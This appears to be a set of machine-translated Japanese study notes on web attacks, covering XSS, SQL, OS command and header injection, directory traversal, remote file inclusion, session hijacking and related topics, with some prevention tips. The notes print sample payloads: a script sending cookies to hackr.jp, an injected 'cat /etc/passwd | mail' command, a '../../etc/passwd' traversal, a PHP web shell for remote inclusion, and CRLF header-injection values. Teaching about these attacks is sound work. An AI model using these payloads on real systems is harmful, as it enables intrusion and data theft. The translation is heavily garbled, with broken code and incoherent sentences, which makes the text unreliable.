前提:
- HTTPは、必要なセキュリティ機能を持っていません
- クライアントは、改ざんを要求することができます
攻撃のモード:
- アクティブな攻撃:Webアプリケーション、入ってくる攻撃コードに直接アクセス(リソースについて、リソースへの必要性へのアクセス)、例えば:OS攻撃、SQL攻撃
- 受動的攻撃:トラップをトリガするためにユーザーを誘導する攻撃者が設定されている、とトラップは、たとえば、すでにHTTPリクエストに埋め込まれた攻撃コードを起動します:クロスサイトスクリプティング攻撃を、クロスサイトリクエストフォージェリ
不完全なセキュリティの脆弱性のエスケープによる出力値のために
1. XSS(クロスサイト・スクリプティングXXS)
このように動的に入力プラス<S> </ S>の名前またはスクリプトタグでHTMLを生成します
例:IDには、アドレスバーにサイトのURIクエリのフィールドで指定された場合。オートフィル機能は、形式の文字列に相当します。
http://example.jp/login?ID=yamaは、この場合にはIDに対応し、ユーザーのパスワードを尋ねます
攻撃者は、ウェブサイトに変更することができます。
http://example.jp/login?ID="><script>var+f=document.getElementById("login");+f</script><span+s=」
ユーザーがフォームでIDとパスワードを入力すると、それは、個人情報の漏洩、その結果、攻撃者のWebサイトに直接この方法で送信されます。
さらに、ユーザーは、クッキーの盗難攻撃することができ
<スクリプトSRC =のhttp://hackr.jp/xxx.js> </ SCRIPT>
JavaScriptで書かれたどのhttp://hackr.jp/xxx.jsファイル、
VARの内容=エスケープ(document.cookie);
document.write( "<IMG SRC =のhttp:?//hackr.jp/");
(コンテンツ)のdocument.write。
document.write( ">")
Cookie情報は、情報が攻撃者のWebサイトに送信され、ドメイン名でのWebアプリケーションにアクセスすることができます。
スクリプトエージェントは、ユーザーの許可を得てウェブ上でさまざまな操作を実行するために、ユーザに要するを通じて同時に達成することもできます。
2. SQLインジェクション攻撃
それは違法SQL攻撃を実行することにより、生産に使用するWebアプリケーションのためのデータベースを参照します。
影響:>不正な閲覧やデータベース内のデータを改ざん。
B>。回避認定
C>。手順が実行され、関連するデータベース・サーバ
ます。http://example.con/search Q =上野宣伝まず、ブラウザでのポイント?
次のようなSQL文を実行するためにどので
著者= '上野宣' フラグ= 1 bookTbl SELECT * FROM。
あなたは本フラグ条件の宣言上野という名前の作者を満たすためにスクリーニングすることができます
私たちは、SQL文を記述する場合は、次のように:
- 著者= '上野宣' bookTbl SELECT * FROM - 'フラグ= 1。
「 - - 」SQL文に従ってだから、特性はすべてこのコメントの後に、フィルターのフラグは上野が書籍の著者を宣言したように、フィルタ条件を作成することは知られてしまうので、無視されますされています。だから、オリジナルのコンテンツを表示することができないことを表示することができます。
SQL構文が行われ、主に対してSQLインジェクション攻撃を見ることができます。
予防:
1.パラメータ化されたSQL
2.文字列
3.渡された通常のフィルタパラメータを使用します
4.制限されたデータベースのユーザ権限、ドロップ/ TRUNCATE /該当する助成金を作成します
遠位JSを防ぐ5 SQLインジェクション
3. OSコマンドインジェクション攻撃
:SQLインジェクションと同様に、またなど、コードに対する攻撃を実行されます
私の$ ADR = $ q-で>のparam( 'mailaddress');
オープン(MAIL、「|は/ usr / sbinに/ sendmailの$ ADR)。
"From:[email protected] \ n" はMAILを印刷します。
これは、オープン関数は$ ADRの値に指定されたアドレスを送信、メールを送信するためにsendmailコマンドを呼び出します。
次のアドレスを入力して、不正な値:
; 猫/ etc / passwdファイル| メール[email protected]
これは、複数のプログラムのコマンドになります:
| / usr / sbinに/ sendmailの。猫/ etc / passwdファイル| メール[email protected]
セミコロン(;)のでコマンドは、より多くの実行コマンドになります。それは猫/ etc / passwdファイルを実行します|などのメール[email protected]はその後、Linuxはアカウント情報が含まれています/ passwdファイルは、メールに攻撃者のメールボックスに送信されます。
予防法:
メソッドの実装を呼び出していないOSを選択します(シェルの関数を呼び出すことはありません)
2.外部から入力されていない文字列がコマンドラインパラメータを渡します
3.エスケープにOSコマンドのセキュリティ機能
4. HTTPヘッダインジェクション攻撃
のみ攻撃モードに応じて、レスポンスヘッダフィールドに挿入することにより、HTTPヘッダーインジェクションラップは、任意のヘッダや本文を追加します。受動的攻撃。
影響:
クッキーは、任意の情報を設定します
任意のURLにリダイレクト
すべてのボディを表示します(HTTPレスポンス分割攻撃を)
オリジナルHTTPヘッダ次のように:
場所:のhttp:?//example.com/猫= 101
選択されたカテゴリの関数は、次のコードは、ヘッダHTTPを介して注入されたページにリダイレクト。
猫= 101%0D%0ASet-クッキー:+ SID = 123456789
%0D%0A HTTPパケット改行。攻撃者のWebサイトの背後にあるコードは、SID = 123456789のSet-CookieヘッダーフィールドにセッションIDすることができます。
実際のコードは次のとおりです。
場所:http://example.com/?cat=101(%0D%0A:改行)
Set-Cookie:SID = 123456789
そのため、攻撃者は攻撃にサイトのユーザーになりすまして、任意の情報クッキーを変更することができ、あなたは改行で任意のヘッダフィールドを挿入することができます。
HTTPレスポンス分割攻撃
2で改行%0D%0A%0D%0A挿入ストリングが並列に送信されます。所望のヘッダ分割HTTPボディブランクラインを作るために2台の連続したラップを使用。さらに、攻撃の目的を達成するために、体を偽造。例えば、偽のWebページを提供します。
5.メールヘッダインジェクション攻撃
メッセージを送信することにより、Webアプリケーションは、メールヘッダに、または件名での攻撃で違法なコンテンツを追加します。
以下のような:[email protected]%0D%0ABcc:[email protected]追加Bccの電子メールアドレスを送信します。
別の例:今度は[email protected]%0D%0A%0D%0ATestのメッセージは、メッセージテキストを改ざんし、それを送ることができます。
6.ディレクトリトラバーサル
ディレクトリトラバーサル(ディレクトリトラバーサル)このファイルディレクトリ意図しない開示へのアクセスのための違法切り捨て攻撃のディレクトリパスリーチによる攻撃。これは、パストラバーサル攻撃(パストラバーサル)攻撃となっています。
例えば、ファイルのクエリ機能を読み取ることによって、非公共ファイルを照会します。
以下のような:http://example.com/read.php?log=0401.log
次のように攻撃者の要求フィールドが設定された後:
http://example.com/read.php?log=../../etc/passwd
クエリのフィールドには、相対パスを配置開始する/ログ/ディレクトリからの攻撃をするのに役立ちます。指定されたディレクトリに処理するスクリプトread.phpインタビュー要求した場合、ファイルがアクセスされることができるかもしれない開示されていませんでした。
7.リモートファイルインクルージョンの脆弱性
これは、スクリプトの内容を別のファイル、依存ファイルとして動作するサーバーの指定された外部URLを使用して、攻撃者からで読み取る必要があるので、スクリプトを読んで、あなたは任意のスクリプト攻撃を実行することができたときに、PHPのセキュリティの脆弱性で主に存在しています。
以下のような:のhttp://example.com/foo.php MOD = news.php?
スクリプトに対応したコード:$ MODNAME = $ _GET [ 'MOD']。
($ MODNAME)類;
攻撃者は、外部のサーバーのソースコードに次のコードhttp://hackr.jp/cmd.phpを準備しました
<?システム($ _ GET [ 'CMD'])?>
以下のURLの送信要求を指定します
HTTP; //example.com/foo.ph MOD =のhttp:?//hackr.jp/cmd.php&cmd=ls
Webサーバー上のシステムフィールド指定を通じてOSコマンドをqueryコマンドを実行し、操作URL http://hackr.jp/cmd.php Webサーバーを経由して外部サーバの導入を含むことが可能であると。
セキュリティの脆弱性によって引き起こさセットや設計上の欠陥に起因します
1.強力なブラウジング
直接URLへのアクセス(HTMLファイル、画像、PDFおよび他の文書、CSS、および他のデータ等)の必要性は、Webページ上で使用するために元のファイルに認定されます
2.不正なエラーメッセージ処理
プロンプト差分情報に起因して、攻撃者は、このようなメールボックスなどの登録、かどうかなど、さまざまなエラーによっていくつかの情報を得ることができます追加、
スローされたシステムエラーは、次の側面に焦点を当てました。
そして、他の1.PHPまたはASPスクリプトエラー
2.データベースやミドルウェアのエラー
3.Webサーバーエラー
回避方法:詳細なエラーメッセージが抑制、またはカスタムエラーメッセージを使用し、鼓舞攻撃者に特定の情報を避けるため。
3.オープンリダイレクト
あなたは、サイトのリダイレクトを開いた場合、攻撃者が選択し、フィッシング攻撃の踏み台として使用される可能性があります。
元のURLがある場合します。http://example.com/リダイレクト=のhttp:?//Www.tricorder.jp
攻撃者のリダイレクトパラメータ変更します。http://example.com/リダイレクト=のhttp:?//Hackr.jp
したがって、ユーザーがの知識がなくても、攻撃者のサイトに誘導されることを
セッション管理の過失は、セキュリティ違反に起因します
1.セッションハイジャック
攻撃の目的を達成するために、セッションハイジャック(セッションハイジャック)は、ユーザーのセッションIDを取得するために、何らかの手段で攻撃を意味し、このセッションの不正使用は、ユーザーIDを装いました。
IDを取得する方法:
非公式な方法によって生成された推定セッションID
タップすることで、セッションIDを盗むために攻撃したりXSS
セッション固定攻撃によって強制的に取得したセッションID(セッション固定)
2.セッション固定攻撃
そして、一般セッションハイジャックの使用をサポート
3.クロスサイトリクエストフォージェリ
クロスサイトリクエストフォージェリ(クロスサイト・リクエスト・フォージェリ、CSRF)は、このようなユーザ設定情報の更新、受動的な攻撃として、いくつかの状態と、意図しない個人情報の罠によって強制されます。
その他のセキュリティの脆弱性
1.パスワードクラッキング
認定を壊し、パスワードを計算しているパスワードクラッキング攻撃(パスワードクラッキング)。
手段:
試行錯誤ネットワークパスワードを通じて1
ブルートフォースや辞書攻撃
2.暗号化されたパスワードをクラック(攻撃者の侵入システム、状況はパスワードデータを暗号化またはハッシュされました)
・類推ブルートフォース辞書攻撃により、
レインボーテーブル
キーを取得
暗号化アルゴリズムの抜け穴
ハイジャック2.クリック
透明ボタンで覆わサイトを通じて、
3. DoS攻撃
DoS攻撃(サービス拒否攻撃)が稼働しているサーバーでのプレゼンテーションは、攻撃を停止できます。オブジェクトは、ネットワーク機器やサーバを含むウェブネットワークに限定されるものではありません。
二つの主要なDoS攻撃があります。
いくつかのアクセス要求は、実際にそれがあった一方で、サービスが停止し、リソースの過負荷、資源の枯渇を使用することになります。
セキュリティホールを攻撃することによってサービスを停止します。
複数のコンピュータには、(サービス拒否攻撃を分散)DDoS攻撃と呼ばれるDoS攻撃を開始しました。DDoS攻撃は、多くの場合、踏み台攻撃などのウイルスに感染しているコンピュータを活用します。
4.バックドア
バックドア(バックドア)を隠す入口手段は、制限機能ではないかもしれない通常の手順を使用して、開発に配置されています。バックドアを使用すると、元の限られた機能を使用することができます。
次の3種類に通常のバックドア
バックドアのデバッグと呼ばれる開発段階として、
自身のために移植バックドアのための開発者
攻撃者はバックドア何とかセット
これは、移植されたバックドアのプロセスとの通信状態を監視することで見つけることができます。しかし、正常との差に起因するWebアプリケーションのバックドアでセットは、使用されていない、見つけることがしばしば困難です。